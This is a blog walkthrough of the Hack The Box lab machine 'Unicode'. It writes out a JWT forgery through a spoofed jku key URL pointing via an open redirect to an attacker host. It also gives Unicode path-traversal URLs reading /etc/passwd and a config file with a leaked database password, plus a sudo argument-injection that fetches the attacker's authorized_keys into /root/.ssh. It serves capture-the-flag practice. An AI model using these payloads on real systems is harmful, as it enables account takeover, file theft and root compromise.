Hack_The_Box_Writeups

HackTheBox – Unicode Walkthrough – In English

┌──(root㉿kali)-[/home/kali/Downloads]

└─# nmap -sV -T4 -Pn 10.10.11.126

http://10.10.11.126/

By searching a bit you can find a lot of forms, file sending, … But after having tested them I don’t find anything conclusive.

Click on Buy Now -> middle Checkout

JWT token

So it’s a JWT cookie with the RS256 algorithm.

We also learn that in the majority of the cases we use asymmetric keys and that in this case the site must host a jwks file with the keys properties. I can get the content of this file with the following command:

┌──(root㉿kali)-[/home/kali/Downloads]

└─# curl hackmedia.htb/static/jwks.json

At the end of the article we learn one last thing, in general this element is stored in the header of the page. But in our case it is in the form of a cookie.

To change the account for the admin account, we will try to do a JWKS Spoofing. To do this we will first generate a key pair following the same parameters as the jwks.json file we found. For that I use the following site

https://mkjwk.org/

I then create a jwks.json file with the same structure as the previous one but with the n we just generated.

Then I start to modify our cookie. First I change the value of jku and add the following element:

/../redirect?url=10.10.14.4/jwks.json

Then I add in the Verify Signature part the Public/Private key that we have generated.

Finally I change the variable user with the value admin.

Header:

{

  “typ”: “JWT”,

  “alg”: “RS256”,

  “jku”: “http://hackmedia.htb/static/../redirect?url=10.10.14.102/jwks.json”

}

Payload:

{

  “user”: “admin”

}

Public and Private

Public:

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz+BE72Y6Az4btntZTzGu
DiyerjxoGZ3FDjDgh/hSkJ3uPsANvQLyvcX2saHg/IMWMXAg5y4irUOt0LNkjp56
8G5OTEWJMdUZHYUu0ohz17Ggcij8QZF7mE+O39kGpZfZLQI3xyV6rtHVHGGoxxFS
HKe8F31TpYkHa+KECp4W7g+tIKUpAnf4P0M3vhfbA6MPsNCzm1gvr4wg1VmRZDCC
kXaeZQ7Hzx0Gg14zu49/ZujL8h40J1oxLbkJ81GX9T0nx6I1C/zMeizUGn9F7vR/
wJGzKj03F+2JJBdDkWHbr6gYvmVkpbomRfayd4iRwpTk8PL79XSZCUFga+sdM+C4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Kxa0sSWa7xtmmrkUEU3DrPiFhSLiaI7OzEAKFCkxCQ9KoKkA0uvjhsIPTVbIT4b3cCpBHymwCdVhdaPIw02SCBxTIedyu5DE9g

Now that we have our new cookie, I replace the old value with the new one, then refresh the page. I now have access to the admin interface!

click on Current Report and intercept and change the jwt token value we get.

http://10.10.11.126/display/?page=monthly.pdf

http://10.10.11.126/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/etc/passwd

http://10.10.11.126/display/?page=︰/︰/︰/︰/︰/︰/︰/home/code/coder/db.yaml

We get this

mysql_host: "localhost" 
mysql_user: "code" 
mysql_password: "B3stC0d3r2021@@!" 

mysql_db: "user"

┌──(root㉿kali)-[/home/kali/Downloads]

└─# ssh code@10.10.11.126

Password: B3stC0d3r2021@@!

code@code:~$ cat user.txt

code@code:~$ sudo –l

Enter the IP/file_name:-K/root/root.txt

Enter your choice:3

Enter the IP/file_name:{10.10.14.102/authorized_keys,-o,/root/.ssh/authorized_keys}

┌──(root㉿kali)-[/home/kali/Downloads]

└─# ssh root@10.10.11.126 -i /root/.ssh/id_rsa

Hi, I’m saksham dixit

Leave a Reply

Your email address will not be published. Required fields are marked *